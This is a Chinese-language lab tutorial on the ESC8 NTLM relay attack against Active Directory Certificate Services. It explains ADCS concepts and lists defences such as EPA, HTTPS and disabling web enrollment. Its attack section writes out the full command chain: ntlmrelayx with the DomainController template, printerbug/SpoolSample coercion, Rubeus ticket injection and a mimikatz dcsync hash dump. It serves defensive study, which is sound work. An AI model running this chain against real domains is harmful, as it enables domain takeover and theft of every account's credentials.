ADCS中的ntlm relay
字数 1677 2025-08-25 22:59:15
ADCS中的NTLM Relay攻击分析与防御指南
前言
Active Directory证书服务(AD CS)是微软对PKI(公钥基础设施)的实现,用于部署企业根或独立根建立SSL加密通道,加密文件系统,数字签名以及身份验证。SpecterOps发布的白皮书《Certified Pre-Owned》详细描述了19种针对ADCS的攻击手法,其中ESC8(ADCS Relay)攻击因其高危害性而备受关注。
环境搭建
实验环境配置
- 攻击机:Kali Linux (10.211.55.128)
- 主DC:Windows Server 2012 R2 (10.211.55.12)
- 辅DC(安装ADCS):Windows Server 2012 R2 (10.211.55.7)
ADCS安装步骤
- 在辅DC上打开服务器管理器
- 选择"添加角色和功能"
- 找到"Active Directory证书服务"并安装
- 安装时勾选"证书颁发机构"和"证书颁发机构Web注册"两个角色服务
CA配置
- 点击旗帜图标配置Active Directory证书服务
- 勾选"证书颁发机构"和"证书颁发机构Web注册"
- 完成根证书和私钥的配置
ADCS基础概念
证书颁发机构(CA)
CA的主要功能是颁发证书、吊销证书,以及发布授权信息访问(AIA)和吊销信息。部署的第一个CA成为内部PKI的根,可以在此基础上部署从属CA。
证书模板
证书模板定义了颁发证书的信息,包括:
- 加密程序
- 证书有效期
- 是否允许导出私钥等
可通过mmc控制台添加"证书模板"管理单元查看。
证书申请流程
- 在IIS服务器创建证书申请
- 生成包含证书申请信息的txt文件
- 访问证书颁发机构Web注册页面(http://CA服务器/certsrv)
- 选择"高级证书申请",使用Base64编码提交申请
- 选择证书模板(如Web服务器)并提交
ESC8 (ADCS Relay)攻击分析
攻击原理
ADCS的HTTP证书接口允许通过NTLM身份验证,但默认未启用NTLM中继保护。攻击者可利用NTLM Relay攻击ADCS证书服务,通过普通用户凭据获取域管权限。
攻击流程
- 利用PetitPotam或打印机漏洞强制域控使用机器账户发起NTLM认证请求
- 将请求Relay到证书服务的HTTP接口,通过验证获得域机器账户身份
- 利用证书模板为机器用户申请证书
- 使用获取的证书进行认证,获取域控权限
详细攻击步骤
1. 准备工具
安装最新版impacket(支持ADCS攻击的分支):
git clone https://github.com/ExAndroidDev/impacket.git
cd impacket
git checkout ntlmrelayx-adcs-attack
python3 -m venv impacket
source impacket/bin/activate
pip install .
2. 定位CA服务器
使用certutil命令查找域内CA服务器:
certutil -config - -ping
3. 启动NTLM中继
python3 ntlmrelayx.py -debug -smb2support --target http://CA服务器IP/certsrv/certfnsh.asp --adcs --template DomainController
4. 触发NTLM认证
使用打印机漏洞或PetitPotam强制域控认证:
python3 printerbug.py 域/用户:密码@域控IP 攻击机IP
或使用SpoolSample工具:
SpoolSample.exe 域控IP 攻击机IP
5. 获取证书
成功攻击后,ntlmrelayx将输出获得的证书信息。
6. 获取域控权限
使用Rubeus工具利用证书获取TGT并注入:
Rubeus.exe asktgt /user:域控机器账户 /certificate:获得的证书 /ptt
注意:可能需要在域控的安全设置中配置Kerberos允许所有加密类型。
7. 导出域控哈希
使用mimikatz导出域控哈希:
lsadump::dcsync /all /csv /domain:域名
防御措施
-
关闭证书服务的Web端点:如果不需要Web注册功能,直接关闭HTTP接口
-
启用SSL认证:强制使用HTTPS而非HTTP
-
开启NTLM中继保护:
- 启用SMB签名
- 配置EPA(Extended Protection for Authentication)
- 禁用NTLMv1,强制使用NTLMv2
-
限制证书模板权限:严格控制哪些账户可以申请敏感证书模板
-
监控异常证书申请:建立对异常证书申请行为的监控机制
参考资源
- Certified Pre-Owned白皮书
- ADCS + PetitPotam NTLM Relay实战
- Active Directory证书服务攻击与防御
- AD CS relay attack技术分析
- 全补丁域森林沦陷案例
通过理解ADCS Relay攻击原理和实施恰当的防御措施,可以有效保护企业ADCS环境免受此类高危害攻击。